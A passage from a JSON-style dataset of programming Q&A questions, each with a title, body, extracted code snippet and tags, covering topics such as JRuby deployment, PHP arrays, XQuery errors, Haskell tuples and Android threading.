nStarting server 3000\n2010-07-20 17:00:47.134::INFO: jetty-6.1.14\n2010-07-20
17:01:03.511:/:INFO: Info: using runtime pool timeout of 30 seconds\n2010-07-20
17:01:03.511:/:INFO: Info: received min runtimes = 1\n2010-07-20
17:01:03.511:/:INFO: Info: received max runtimes = 5\nLoading parser from
serialized file lib/stanford-parser/englishPCFG.ser.gz ... done [4.6 sec].\n2010-
07-20 17:01:14.341:/:WARN: Error: unable to initialize application\
norg.jruby.rack.RackInitializationException: Please install the jdbcmysql adapter:
`gem install activerecord-jdbcmysql-adapter` (no such file to load --
active_record/connection_adapters/jdbcmysql_adapter)\n", "ruby-on-rails deployment
jetty jruby mongrel"], "5267209": ["HP does not power off after shutdown (Vista)",
"My HP d330 does not properly shutdown, after Vista \"shutting down\" message the
lcd screen goes black, but both HD + Power Leds remain on.. Any ideas?\nNo entries
in EventViewer about this.\nKeyboard leds no more work after this partial shutdown
so I assume hardware is partially shutdown..?\nSame problem occurs when I choose
Sleep from shutdown menu\n", "", "windows-vista shutdown"], "4469378": ["PHP arrays
- a 'set where key=?' type function?", "Is there a built in php function that
allows me to set a value of an array based on a matching key? Maybe i've been
writing too much SQL lately, but i wish I could perform the following logic without
writing out nested foreach array like the following:\n\nIs there a better way to do
this? In SQL logic, it would be \"SET array1.new_key = x WHERE array1.id =
array2.id\". Again, i've been writing too much SQL lately :S\n", "foreach($array1
AS $k1 => $a1) {\n foreach($array2 AS $a2) {\n if($a1['id'] ==
$a2['id']) {\n $array[$k1]['new_key'] = $a2['value'];\n }\n
}\n}\n", "php arrays multidimensional-array foreach logic"], "4392023": ["Uses of
Bash scripting in C / C++ programming projects.", "In what ways are scripting
languages (especially bash) is used to manage large C++/C programming projects? \
nIt will be helpful if someone can list some clever uses of scripts in their
programming projects at automating certain tasks. \n", "", "bash script project"],
"5652957": ["Grails service injection into integration test", "I have a very simple
Grails Service:\n\nI'm trying to get access to the service in an integration test,
like this:\n\nWhy do I get the failure: \n java.lang.NullPointerException:
Cannot invoke method returnHi() on null object?\nThanks for your time\n", "class
UserService {\n def returnHi() { return \"Hi\" } \n}\n", "grails service"],
"4950665": ["How to get TFS build on a dedicated server", "I have my desktop with
VS 2010 professional installed, a virtual machine with TFS 2010 installed and a
second virtual machine on which I want the builds to work onto.\nThats what I'm
trying to say.\nThe two virtual machines are on the same domain, the VS 2010 is on
a different domain.\nIs it just configuring the build agent?\nHope this makes
sence.\nThanks\n", "", "visual-studio-2010 build tfs2010"], "4896967": ["iptables
ipt_recent recent module number of IP to remember", "One of the parameters of is
which dictates the number of IPs to remember.\nWhat happens if it reaches that
limit? Is it going to stop recording new IPs?\n", "ipt_recnet", "iptables"],
"2361424": ["Is there a way to port a chrome extension to other browsers?", "Is
there a way to port a chrome extension to other browsers, without having to
entirely re-write the code? My chrome extension uses the browser_action command to
open \"popup.html\" in the extension window...\nUpdate: I found this and found it
only somewhat helpful for porting...\n", "", "javascript html firefox-addon google-
chrome-extension ieaddon"], "3929303": ["how to set vimrc tags to use shell
environment variables", "I tried but failed and need an expert help. In a .vimrc I
have the following:\n\nThis works just fine. Inside gvim, I can load
the tags file and everything is awesome. However, I would like for each user to
have their own project tags file. How and why is not important here. The below
setting doesn't seem to do what I need. Can someone help? \n\n", "set
tags=/sandbox/myNameIsSam/tags", "shell vim vi"], "1800323": ["Nightmarish, valid
Error: [XPTY0004] Single item expected, (element x { ... }, element x { ... }, ...)
found", "In my most recent attempt to access the XML database from my nightmares,
I've come very close. I actually succeeded, using the test database; however, when
I apply it to the database I'm actually trying to access, rather than the BaseX
sample database, I get a special brand of error, which is a valid complaint about
the XML file:\nvia http://basex.org/products/live-demo/\ndoc('test') :=\n\n0: write
your own query... :=\n\nReturns:\n\nI can't say I didn't expect to encounter a
problem like this. Unfortunately, I didn't format the XML document--someone else
did--, and it's all terribly formatted, as you can see. Part of the reason I'm
trying to access it: to restructure it.\nIs there a way to run the query I'm trying
to run on the document and get results without having this error spit at me? I'm
also looking at the error of having in my returns, when I try to target as a
return value, right? Is there any way to get, for example, ? Or how about only
without having this nasty error spit back at me? \n", "<item>\
n<item_number>1171270</item_number>\n<seller_info>\n<seller_company_id>6356</
seller_company_id>\n<seller_rating>C31</seller_rating>\n<seller_rating>T150
hr.</seller_rating>\n</seller_info>\n<product_info>\n<unit>2022</unit>\n<sinfo>55
cases</sinfo>\n<sinfo>Yu-gi-oh trading card pack</sinfo>\n<sinfo>.45kg per
unit</sinfo>\n<sinfo>24.7500kg shipment</sinfo>\n</product_info>\n<product_info>\
n<unit>9291</unit>\n<sinfo>7 units</sinfo>\n<sinfo>Naruto, Classic, action
figure</sinfo>\n<sinfo>1.8kg per unit</sinfo>\n<sinfo>12.6kg
shipment</sinfo>\n</product_info>\n</item>\n", "xml xml-parsing xquery"],
"4164961": ["WebView.getProgress() always returning 100", "I am experiencing the
same bug reported here (http://code.google.com/p/android/issues/detail?id=9597)\
nAnyone know of a work around? I want to have a progress bar in a WebView like the
Android Browser does while the page is loading.\n", "", "android progress-bar
webview"], "4371718": ["Parse table from website after post method responce", "I
want to parse a table that appears after clicking the search button and then filter
some of the data. How can I do this?\nThe site is ruspo.ru\nMy code is:\n\n",
"HttpWebRequest webRequest = WebRequest.Create(\"http://ruspo.ru/\") as
HttpWebRequest;\nStreamReader responseReader = new
StreamReader(webRequest.GetResponse().GetResponseStream());\nstring responseData =
responseReader.ReadToEnd();\nresponseReader.Close();\
nwebRequest.GetResponse().Close();\n\nMatchCollection m1 =
Regex.Matches(responseData, @\"(?<=<table class=\"\"ui-widget ui-widget-
content\"\"[^>]*>).*?(?=</div>)\", RegexOptions.Singleline);\n\nforeach (Match m in
m1)\n{\n Response.Write(m.ToString());\n //txtPrice.Text = m.ToString();\n
//ddlhotels.Text = m.ToString();\n}\n", "c# parsing httpwebrequest"], "2829472":
["Can I pass a List as parameter in a URL in JSP?", "I have to pass a List from
a .jsp into my servlet and I want to do it through a URL. Can I do something like -
\n\nwhere 'content' is a List. I want to get the elements of this list in my
servlet.\nOr I can only pass the individual parameters with a separation of '&'?\
n", "<a href=\"SellSelectedStockServlet?value=content\" target=\"_self\">\n", "java
jsp servlets"], "2384644": ["XML serialization without null XMLArray", "Let me take
it straight. Is it possible to not serialize an XMLArray elements if it null? As in
following XML \"Details\" is used. Is it possible to not to have it in XML if it is
null. Please check my code and will appreciate some thoughts on it.\n\n\n\n",
"<agr:InvoiceNo>99999</agr:InvoiceNo>\n <agr:Header>\n
<agr:LineNo>1</agr:LineNo>\n
<agrlib:InvoiceDate>2013-02-13</agrlib:InvoiceDate>\n <agrlib:DueDate>2013-03-
15</agrlib:DueDate>\n <agr:ArchiveRef>27624642</agr:ArchiveRef>\n
<agr:ArchivePath>Images\\20130315\\10_00000030_00000</agr:ArchivePath>\n
<agr:Currency>SEK</agr:Currency>\n <agr:Seller>\n
<agrlib:CompRegNo>999999</agrlib:CompRegNo>\n </agr:Seller>\n
<agr:Buyer>\n <agrlib:CompanyCode>10</agrlib:CompanyCode>\n
<agr:Accountable />\n </agr:Buyer>\n <agr:PaymentInfo>\n
<agr:AccountNumber>99999</agr:AccountNumber>\n <agrlib:BacsId />\n
</agr:PaymentInfo>\n <agrlib:ReferenceCode>\n
<agrlib:Code>AA</agrlib:Code>\n <agrlib:Value>AAAA</agrlib:Value>\n
<agrlib:Description />\n </agrlib:ReferenceCode>\n </agr:Header>\n
<Details /> <!-- this one -->\n <agr:Summary>\n
<agr:TotalTax>170.36</agr:TotalTax>\n
<agr:TotalInclTax>1590.00</agr:TotalInclTax>\n </agr:Summary>\n </agr:Invoice>\
n", "c# xml serialization"], "1822054": ["returning from a form submit call to
a .php file", "I have a questionnaire in a form. In the end of it the submit button
is pressed that is supposed to call a .php file that inserts data into a database
through its action information and afterwards show the last page that contains
something like \"thank you for participating etc.\" via the onsubmit info.\nproblem
is that the last page is shown before the .php file is shown which means it is
visible only for like half a second and then the php script is carried out which
ends up showing a blank page.\nThe php script works it inserts data into the
questionnaire correctly so there should be no mistakes syntax-wise. \nany ideas if
I have to exit the cript or something and return to the .html file or what could be
wrong?\n", "", "php html forms submit"], "1522054": ["Disabling subtitles on iOS 5
leaves last displayed subtitle text on screen", "We have been adding Subtitle
support to our AVPlayer-based video player. We are able to retrieve
AVMediaSelectionOption objects of mediaType \"sbtl\" from the AVMediaSelectionGroup
produced by [self.player.currentItem.asset
mediaSelectionGroupForMediaCharacteristic:AVMediaCharacteristicLegible] and can
select the appropriate AVMediaSelectionOption to display the subtitles on our live
stream. This is all working fine. \nWhere we are having trouble is deselecting
the AVMediaSelectionOption on iOS 5.01 and iOS 5.1. \nOn devices running iOS 6, we
can disable the subtitles with [self.player.currentItem selectMediaOption:nil
inMediaSelectionGroup:self.subtitleSelectionGroup] and they disappear as expected.
But on iOS 5.01 and iOS 5.1 the subtitles stop updating, but the last text that was
displayed remains on the video player until the player is closed, the power button
is pressed, or the app is moved to the background. \nWe've tried filtering out
forced-only subtitles, thinking that might be the problem, but to no avail. Is
this a bug in the OS? Is there something wrong with our streaming video?\nThank
you for any assistance and guidance you can provide. \n", "", "iphone ios video-
streaming http-live-streaming subtitle"], "5622048": ["A book on WCF with asp.net
MVC?", "I have to build a web application on asp.net MVC that have a data service
reference WCF as DB. I have no idea on how data persistence work on asp.net. There
are resource on this arguments?\n", "", "asp.net wcf asp.net-mvc-2 wcf-data-
services"], "2462187": ["Language setup error in XeTex", "I have an error when I
was trying to build an example from the Grigory M's answer in this question.\n\n",
"This is XeTeX, Version 3.1415926-2.2-0.9995.2 (TeX Live 2009/Debian)\n \\write18
enabled.\nentering extended
mode\n(/home/kron/Documents/LaTexConfiguration/.first.tex.swp\nLaTeX2e
<2009/09/24>\nBabel <v3.8l> and hyphenation patterns for english, usenglishmax,
dumylang, noh\nyphenation,
loaded.\n(/usr/share/texmf-texlive/tex/latex/base/article.cls\nDocument Class:
article 2007/10/19 v1.4h Standard LaTeX document
class\n(/usr/share/texmf-texlive/tex/latex/base/size10.clo))\n(/usr/share/texmf-
texlive/tex/xelatex/fontspec/fontspec.sty\n(/usr/share/texmf-texlive/tex/generic/
ifxetex/ifxetex.sty)\n(/usr/share/texmf-texlive/tex/latex/tools/calc.sty)\n(/usr/
share/texmf-texlive/tex/latex/xkeyval/xkeyval.sty\n(/usr/share/texmf-texlive/tex/
generic/xkeyval/xkeyval.tex\n(/usr/share/texmf-texlive/tex/generic/xkeyval/
keyval.tex)))\n(/usr/share/texmf-texlive/tex/latex/base/fontenc.sty\n(/usr/share/
texmf-texlive/tex/xelatex/euenc/eu1enc.def)\n(/usr/share/texmf-texlive/tex/
xelatex/euenc/eu1lmr.fd))\nfontspec.cfg
loaded.\n(/usr/share/texmf-texlive/tex/xelatex/fontspec/fontspec.cfg))\n(/usr/
share/texmf-texlive/tex/xelatex/polyglossia/polyglossia.sty\n\n! LaTeX Error: File
`etoolbox.sty' not found.\n\nType X to quit or <RETURN> to proceed,\nor enter new
name. (Default extension: sty)\n\nEnter file name:
\n/usr/share/texmf-texlive/tex/xelatex/polyglossia/polyglossia.sty:5: Emergency s\
ntop.\n<read *> \n\nl.5 \\RequirePackage\n {fontspec} %which
itself depends on xkeyval^^M\nNo pages of output.\nTranscript written on
/tmp/.first.tex.log.\n", "languages cyrillic localization"], "1779592": ["Grouped
GridView Scroll To One Group", "I have a GridView with SemanticZoom, that displays
grouped data. It works well.\nBut I want to know how to scroll to specified group
with code. Just like one click on the Zoomed Out View.\nI searched and tried,but
cann't find the answer.\nthe SelectedIndex and SelectedItem does not work.\n", "",
"c# xaml microsoft-metro windows-runtime"], "2832762": ["Server Performance Issue -
Server 2008, SQL 2008 and Hyper-V [screenshots]", "Im getting nasty performance on
my server.\nIt happens radmonly while accessing a website,
but more often, right on the\nfirst time I load it. The server/webapp are still in
dev, so I'm the only one accessing it.\nSpecifically, timeout expired error. Can
only post one link, so screenshot follows...\nI started running perfmon on the
Database VM and after a couple page loads,\ngot it up to 100! Here's the
screenshot.\nWhen it went to 100, it still loaded the page, there was just a delay.
On the\nother times, I can imagine it went higher.\nAnd, apparently it cuts off at
100, so it could have gone even higher, but not\nshowing it.\nThis question seems
to come close in describing the issue, but Im not sure what to do about it: SQL
Server Slow but CPU Normal\nAs far as db access, my queries are all automatically
optimized, via using\nlinq-to-sql. I dont do any indexing on the db...but the load
right now is just\nme hitting it.\nso, so-far my gut is telling me its some kind of
hyper-v configuration issue.\n\nSpecs:\nSingle Server: Xeon E5520 @2.27GHz (2
processors). Windows 2008 Ent. 6gb of rame, broken down:\n2GB - Parent\n2Gb - DB
server running SQL 2008 Web Edition\n1.25Gb - Web server running IIS7 \n.75GB -
DNS, Misc\nHyper-V was setup by hosting company, probably just double clicked and
clicked next, next, next until it was done, so I'm thinking there's got to be some
best practices for configuration that's going to make all the difference.\nHelp!
Thanks!\nShane.\n", "", "performance sql-server-2008 configuration hyper-v
troubleshooting"], "5931030": ["JQuery Local Folder Browse Button", "i'm struggling
to find a way to add a button on my JQuery page wich allows me to browse the local
drive as the \"\" browse, but which give me only folders by select.\nI'm open to
any workaround, i just want to browse folder and get resulted path in a textbox.\
nI'm a bit newbie in JQuery, please if you can provide a simple example too...if
i'm not asking too much.\nThanks in advance\nMarco\n", "<input type='file' />",
"javascript jquery path folder"], "2334491": ["solr, finding preceding
trailing/terms for a given term", "Is there a way in SOLR, with termquery,
searchquery or other magic, to find the most preceding (or trailing) terms, for a
given term x?\n", "", "solr search-engine term"], "3431207": ["Sandboxing website
best practices?", "I currently work in a web shop with almost no formal processes
and a million PHP websites, including tricky stuff like custom CMS and shopping
cart code.\nWe are trying to improve things. I am pushing for CVS/SVN.\nMy
question is, what is the best practice for sandboxing website work? We are on the
LAMP stack. Some of our sites have hardcoded (or user-inputted links) to the
current domain, so setting up a different domain like preview.mysite.com will break
links pointing to www.mysite.com. If we start applying regression tests, perhaps
the domains should be uniform for testing? That can always be done with a local
host entry.\nSo, considering we have lots of sites, it would be nice to have one
process for always doing previewing in a proper sandbox. Wondering how this would
integrate with an SVN/CVS cycle.\nI am just looking for industry best practices
because we are trying to get there. If that means cloning a site to an extra
server, so be it.\n", "", "php svn sandbox"], "4573179": ["Is it possible to
remotely control PC/powerpoint slide from bluetooth-enabled phone without having a
PC server program?", "It looks like most existing remote PC solution using
bluetooth-enabled smartphone needs PC side software (especially Java..)\nI'm
wondering if remote PC control is possible without PC side software at all?\n", "",
"powerpoint smartphone"], "59722": ["Regular expression replace whole words in
PHP", "I have an expression like:\n\nI want to replace \"a\" with, for example 5,
so this should look like:\n\nI tried simple\n\nbut that returned\n\nThen, I tried\
n\nbut that didn't do the job for strings like\n\nI decided to use regex, but Im
completely newbie to this, and I don't know how to use any of them...\nWell, I'd
really appreciate any link to a good tutorial, but I need the answer quite fast...\
n", "$x=\"We have a cat here.\";\n", "php regex preg-replace"], "1298593": ["How to
spec font sizes in CSS for a mobile web site for the latest versions of Android,
Blackberry, and Safari Mobile?", "What's the best way to spec CSS fonts sizes for
the latest versions of Android, Blackberry, and Safari Mobile? I.e., using font
size keywords (medium, small, etc.), setting the body to a percentage and using ems
for headings, or using pixels. This is for a mobile web site, not an app.\n", "",
"mobile fonts size"], "2974826": ["remove \"\\n\" and \"\\\" from nsstring in
iPhone...?", "I have a iPhone application which return me a string from webservice
with escape characters like \"\\n\" and \"\\\". Now I want to add this string in
nsdictionary. for that I do below\n\nhere jsonString return me strVerifiedReceipt
with escape characters come from webservice like below\n\n\n\n", "
NSMutableArray *keyArray = [[NSMutableArray alloc] initWithCapacity:1];\
nNSMutableArray *valueArray = [[NSMutableArray alloc] initWithCapacity:1];\n\
n[valueArray addObject:strVerifiedReceipt];\n[keyArray
addObject:@\"PAYMENT_RECEIPT\"];\n\nNSDictionary *jsonDictionary = [NSDictionary
dictionaryWithObjects:valueArray forKeys:keyArray];\nNSString* jsonString =
[jsonDictionary JSONRepresentation];\n", "iphone json nsdictionary html-escape-
characters"], "5236359": ["Aptana smarty support?", "Is there any way to make
aptana (2 or 3) support smarty ? Code color, etc..\nI read people talking about how
they like to have smarty support in Aptana 3 as in Aptana 2, but i don't find it
even for Aptana 2!\nThank you.\n", "", "php smarty aptana"], "465850": ["How do I
move a Linux installation between partitions?", "I got a new HDD and want to move
an existing Linux installation\n(more specific: OpenSUSE 11.1) from a partition on
the old HDD to a partition\non the new HDD.\nMy plan is:\n\nboot using a boot CD
(let's say it's the OpenSUSE boot CD)\nEDIT As suggested by many people (thanks to
all)\n1a. copy all of the files from one drive to the other\nmodify /etc/fstab (add
mount points to new partitions)\nmodify /boot/grub/menu.conf (add boot partition)\
nreinstall grub\n\nAm I right? Is that's it?\nOr did I mis some important step?
(I'm pretty sure I did)\n", "", "linux hard-drive partitioning opensuse"],
"2759737": ["\"Program to an interface\". What does it mean?", "\nPossible
Duplicate:\nWhat does it mean to \u201cprogram to an interface\u201d? \n\nI keep
coming across this term:\n\nProgram to an interface.\n\nWhat exactly does it mean?
A real life design scenario would be highly appreciated.\n", "", "java design
oop"], "4388893": ["Captcha showing on post, post failing after captcha
verification", "For some unknown reason we are getting a captcha on every feed post
using the following code:\nfeed\nPublishing to the stream is easy, as all the
fields are optional. Just specify\nwhat you need, and leave the rest out.\n\nWe
have no idea why we are getting the captcha. In addition, when the user satisfies
the captcha the post is not successful. Any idea why we are getting the captcha
and the post is not working after the captcha?\n", "<script>\nvar publish = {\n
method: 'feed',\n message: '',\n name: 'test name',\n caption: 'test caption',\n
description: 'test description',\n link: 'http://fb.mylist.com/ws/uipr?
uiid=fdec6c79-d0b6-7091-c3db-b5ec6386b46c&lid=b6cb3994-fa91-4548-b1f7-
f3d945e29de4',\n picture:
'http://mylist3.vo.msecnd.net/26381278/original/8e7a33d0-06f4-3503-b07d-
31c16bb4ab0a.img'\n};\n\nFB.ui(publish, Log.info.bind('feed
callback'));\n</script>\n", "javascript facebook-graph-api"], "4953289":
["Exclamation operator?", "I'm learning D and have seen a lot of code like this:\n\
nI assume this casts to , but what's the difference between this and ?\nEDIT: And
what other uses does the exclamation mark operator have?\n", "ushort x = to!
ushort(args[1]);\n", "operators d"], "5652950": ["In Flot, is it possible to
eliminate or hide grid ticks without eliminating the corresponding label?", "The
Flot API documentation describes the library's extensive hooks for customizing the
axes of a graph. You can set the number of ticks, their color, etc. separately for
each axis. However, I can not figure out how to prevent Flot from drawing the
vertical grid lines without also removing the x-axis labels. I've tried changing
the tickColor, ticks, and tickSize options with no success.\nI want to create
beautiful, Tufte-compatible graphs such as these:\nhttp://www.robgoodlatte.com/wp-
content/uploads/2007/05/tufte_mint.gif\nhttp://www.argmax.com/mt_blog/archive/
RealGDP_graph.jpg\nI find the vertical ticks on my graphs to be chart junk. I am
working with a time series that I am displaying as vertical bars so the vertical
ticks often cut through the bars in a way that is visually noisy:\n\n", "",
"javascript jquery graph flot"], "5120769": ["Drupal 7 - Selecting individual
images for auto-cropped image styles", "Let's say I have a content type X that has
an image for an attribute. I know I can specify different styles for that image
(e.g. medium, large, thumbnail), so that crops are automatically made. But can I
select/upload a particular image to use? E.g. \"I'm not happy with the autocrop for
this thumbnail image. I'll just upload my own.\"\nAre there modules that allow
this? \nThanks. \n", "", "image styles drupal-7 crop"], "58388": ["Tuples in
Haskell How to access second and third elements", "I have the following:\n\nI need
the function weeklyJobPay to multiply weeklyHours by HourlyPay for each tuple in
JobDB. How could I do this?\n", "type Description = String\ntype WeeklyHours =
Float\ntype HourlyPay = Float\ntype JobDB = [(Description, WeeklyHours,
HourlyPay)]\n\nweeklyJobPay :: JobDB -> [(Description,Float)]\nweeklyJobPay jDB
= undefined\n", "haskell tuples"], "3550072": ["Building from commandline a
database project targetting SQL Server 2012", "I have a database project in Visual
Studio 2010 that targets SQL Server 2012 and at least one of the stored procedures
uses the new syntax for rethrowing errors (\"THROW;\")\nTrying to build the project
from command line like so :\n\noutputs this :\n\nMy guess is that I should add a
parameter to specify the SQL Server 2012 T-SQL dialect but I am not sure about
this.\nBuilding the project from Visual Studio works without any issues.\n\
nUPDATE : I am not exactly sure what type of project I have. The project properties
looks like so :\n\nAdditional data :\n\n\n\n\n\n", "msbuild /t:Build
MyDatabaseProject.dbproj", "visual-studio command-line build sql-server-2012
database-project"], "4730948": ["Doctrine Query Result", "I do have the following
Doctrine query. My database is a MySQL.\n\nI don't have a entry in my database with
the user_id = 123. So what I expect is a \"false\". But \"not false\" is the
result. \n1.) Why? \n2.) How can I divide with this specific query beteween \"Yes,
there ist a user\" or \"No, there is no user\"?\nThanks!\nGunnar\n", " public
static function getLastList($user_id){\n\n $user_id = 123;\n\n $q =
Doctrine_Query::create()\n ->from('list l')\n -
>innerJoin('l.listUser lu ')\n ->where('lu.user_id = ?', $user_id)\n
->orderBy('e.created ASC')\n ->limit(1)\n ->execute();\n\n
if ($q == NULL) {\n print_r('false');\n } else {\n print_r('not
false');\n }\n}\n", "mysql sql database query doctrine"], "681604":
["FullTextSearch in MYSql", "In mysql fulltext search, the match gives some
values,I don't know which one is mentioned by that values?\nI need the comparsion
output in percentage?How can i achieve that?\nSELECT id,title,body,MATCH
(title,body)\n AGAINST ('database') FROM articles WHERE MATCH (title,body)\n
AGAINST ('database');\nOutput:\n\n", "id', 'title', 'body',
'MATCH'\n1, 'MYSql Tutorial', 'My Sql is one of the database language',
0.93769526481628\n10, 'MySQL vs. YourSQL', 'In the following database
comparison ...', 0.93769526481628\n6, 'MySQL Tutorial', 'DBMS stands for
DataBase ...', 0.92749810218811\n", "java mysql mysqli"], "1843017": ["Create
aliases for layout content in android xml files", "I've created a class inherit
from TextView so now when I have to use I implement:\n\nOn the xml file. The thing
Is It is a very long syntax to include the path of the class, Is there anyway
(aliases or something else) I could write only:\n\nThank you \n",
"<cdz.chapitreUn.preums.BoldTextView\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n
android:text=\"@string/hello_world\"\n tools:context=\".PreumsActivity\" />\
n", "android xml android-layout android-linearlayout"], "4190900": ["How to occupy
80% CPU consistently?", "I'm looking for a way to occupy exactly 80% (or any other
number) of a single CPU in a consistent manner.\nI need this for some unit test
that tests a component that triggers under specific CPU utilization conditions\nFor
this purpose I can assume that the machine is otherwise idle. \nWhat's a robust
and possibly OS independent way to do this?\n", "", "performance unit-testing
cpu"], "5397421": ["How to record and play sound in iPhone app?", "I tried using
AVAudioSession and AVAudioPlayer to record and play sounds respectively but the
sound volume is very low.\nI tried putting volume value of AVAudioPlayer to 1.0 and
more but didnt help much.\nWhat could be my other options to record sound which can
be loud enough to play back?\n", "", "iphone iphone-sdk-4.0 avaudioplayer
avaudiorecorder"], "5986217": ["How are variables meant to be used in Java?", "I've
been learning Java for the past year in my free time, and so far, I have come
across nothing on how to use variables correctly. By this, I mean, should I prefer
to use instance variables, or just use variables in a single method.\nFor example,
this is a piece of code I've written:\n\nAs you can see, all of the variables I'm
going to use are instance variables, so what i'm asking is, should I do this, or
should I try to limit most of my variables to be within each method that they'd be
used in?\n", "public class arsenalTroop {\n String[][] troopStats;\nString[][]
weaponStats;\nString[][] armorStats;\nString[][] animalStats;\nString[] troops;\
nString[] weapon;\nString[] armor;\nString[] animal;\nJLabel[] troopsArray;\nint
troopTotal;\nint weaponTotal;\nint armorTotal;\nint lordTotal;\nint animalTotal;\n\
nJFrame arsenalLordFrame = new JFrame();\nJTextField name = new JTextField();\
nJLayeredPane lP = new JLayeredPane();\nJLayeredPane fP = new JLayeredPane();\
nJLayeredPane ldP= new JLayeredPane();\nJLabel siegeLabel = new JLabel();\
nJComboBox weaponCB;\nJComboBox armorCB;\nJComboBox animalCB;\nJLabel siegeText =
new JLabel();\nJButton addWep = new JButton();\nJButton addName = new JButton();\
nJButton addArmor = new JButton();\nJButton addAnimal = new JButton();\nJButton ntr
= new JButton();\nJButton nwe = new JButton();\nJButton nar = new JButton();\
nJButton nan = new JButton();\n\nJButton newWeaponButtonArray[] = new JButton[6];\
nJButton newArmorButtonArray[] = new JButton[6];\nJButton newAnimalButtonArray[] =
new JButton[6];\n\nBorder whiteBorder =
BorderFactory.createLineBorder(Color.white);\nBorder greyBorder =
BorderFactory.createLineBorder(Color.gray);\n\nboolean[] weaponFree = new
boolean[6];\nboolean[] armorFree = new boolean[6];\nboolean[] animalFree = new
boolean[6];\n\nJButton done = new JButton();\n\npublic void arsenalTroopGui() {\n",
"java swing variables coding-style instance-variables"], "3536358": ["How to build
cursor based on an array", "I need to optimize a PL/SQL function that is currently
like that:\n\nI want to be able to give an array as argument, however, I don't know
how to build my cursor to take to array. I think I could use the statement, but
could you help me settle this down please ?\nEDIT:\nAccording to solution provided
by Justin Cave, it would become:\n\nHowever, the multiple slow the entire
function. How can I improve that ?\n", "CREATE OR REPLACE FUNCTION
tkt_get_underlying(n_input number)\nRETURN t_table_of_number\nIS\n ret
t_table_of_number;\n CURSOR c IS SELECT n_number FROM t_table WHERE
n_prop_1=n_input OR n_prop_2=n_input OR n_prop_3=n_input;\nBEGIN\n ret :=
t_table_of_number();\n\n OPEN c;\n FETCH c BULK COLLECT INTO ret;\n
CLOSE c;\n\n RETURN ret;\nEND;\n", "arrays oracle cursor"], "4433568": ["Podcast
- tools for creating feeds", "I want to change from a streaming server to the
Podcast way of distributing our messages. We are a world wide net of churches with
2 and more messages per week and church to be uploaded.\nI need some tools to
easily create the feed and upload it to our websites, or to automatically create
the feed from files on the webserver, using the mp3 tags.\nThe main criteria: it
has to be easy to use for non IT professionals (i.e. pastors), that already stuggle
uploading the mp3 files to their servers - but now manage to do so.\nAny tools
available?\nEdit: Maybe some more info on what I'ld like: I have a set of mp3-files
locally or on a media server. These files have tags that describe them (title,
artist, style, year, ...). I would like to have an app that - either locally on
demand or on a website dynamically - generates a podcast from this, taking the n
most recent files.\n", "", "podcasts feed"], "4403041": ["casting string to date
not working on empty strings in Netezza", "I have a string field which is of the
format . I need to convert it to a date field.\nThis is my SQL query:\n\nIt works
fine for records that have values, but not for records that are empty strings\nI
also tried using to_date function, but it gives an error saying \"Invalid Date\"\
n", "yyyy-mm-dd", "sql string date casting netezza"], "1463773": ["How do I make a
Theorem n followed by a Theorem n' ?", "I am writing a paper where I have a stated
a theorem, and then a short time later I state another theorem which is equivalent
to the first. Is it possible to number them so that the second is a primed version
of the first? In other words, if the first gets numbered as Theorem 7, I would like
its equivalent version to be numbered as Theorem 7'. Ideas? Thanks. \n", "",
"numbering theorems"], "4411201": ["Is there a Python module to get next runtime
from a crontab-style time definition?", "I'm writing a dashboard application and I
need a way to figure out how long an item is \"valid\", i.e. when should it have
been superseded by a new value (it's possible to have an error such that the next
value never arrives).\nSince I know the schedules for the processes producing data,
I can define valid as \"until the next time the process should have ran\".\nI
thought the crontab format for specifying schedules was very compact (i.e. easy to
store in a database), and also easy to understand.\nFinally the question: is there
a Python module, that when given the current time and a crontab spec (e.g. \"25 5 *
* *\"), returns a datetime giving the next runtime?\n", "", "python parsing
crontab"], "5862252": ["Generating sum sequences of a number", "Let n = a1*1 + a2*2
+ ... + an*n. For a given n generate and print out all the different values of (a1,
a2, ... , an). \nBasically its about generating the sequence of natural numbers
that will add up to n. That is\n3 = 1+1+1, 2+1, 3.\n4 = 1+1+1+1, 2+2, 4, 2+1+1 and
so on\nAny help is appreciated. Thanks.\nPS : This is not a homework question. I am
way too old for that.\n", "", "algorithm math sequence"], "2204326":
["SqlDataAdapter->SelectCommand and using Print in SQL", "MSSQL has a PRINT command
which lets me write output
from stored procedures and sql text queries. The problem is that this output is
not returned when calling through SqlDataAdapater using Fill method.\nI am not sure
why but if Print is not possible to use then maybe there is an alternative pipe:ing
output to result?\n", "", "c# sql-server sqldataadapter output"], "4374957":
["Estimation of the fraction", "I am having trouble with estimation of the
following$$\\frac{n^a}{2^{n-\\frac{\\sqrt n+1}{2}}(1-\\frac{1}{2 \\sqrt n})^{n-\\
frac{\\sqrt n-1}{2}}}\n$$\nWhere $n \\in N$ and $a$ is a real number greater or
equal then 2.\nMany thanks.\n", "", "homework calculus"], "2340058": ["Simplifying
a group of AND and OR clauses", "So if I have a group of AND and OR clauses as
follows:\n\nCan I simplify it like this:\n\nThanks for your time.\n", "Y = ( A +
B ) . ( A + C' ) . ( B + D' )\n", "logic conditional"], "1202382": ["Run SWF files
in kiosk mode with dekstop wallpaper as the backgorund", "I have some SWF files
which are similar to Desktop Toys. I want to run them in full screen mode without
borders (kiosk mode) and I want to use a desktop wallpaper as their backgrounds.\
nAlso, I want to exit it by pressing .\nHow can I do that?\n", "Esc", "windows
desktop swf kiosk"], "4433569": ["Elegant proof that $L^2([a,b])$ is separable",
"Is anybody aware of, or can provide at least an outline, of a proof that the
Hilbert space of Lebesgue functions square-integrable on the closed real interval
[a,b], equipped with the $L^2$ norm, is separable? \nI've seen an ugly proof
involving truncated functions so I'm not desperate, but would really like to use
something nice. By the way, if you refer to a particular dense countable subset,
could you please explain why it is dense and countable even if you consider it to
be a fairly 'high-profile' set? \nThanks\n", "", "functional-analysis hilbert-
spaces"], "1844238": ["Android NDK problem pthread_mutex_unlock issue", "I'm having
an issue with pthread_mutex_unlock and my native activity NDK app. I've added
logging messages to each mutex initialization, lock, lock success and unlock. My
program is getting deadlocked because the mutex unlock is telling me that the
thread trying to unlock the mutex did not lock it. My logging says otherwise. So
I'm wondering if there is something I'm doing / not doing that could be causing
this. The number in () is the mutex_t* followed by the code line number and thread
id returned by pthread_self(). To me it looks as though thread 1584064 has acquired
the lock and is doing its processing. Then thread 1597448 attempts to lock and
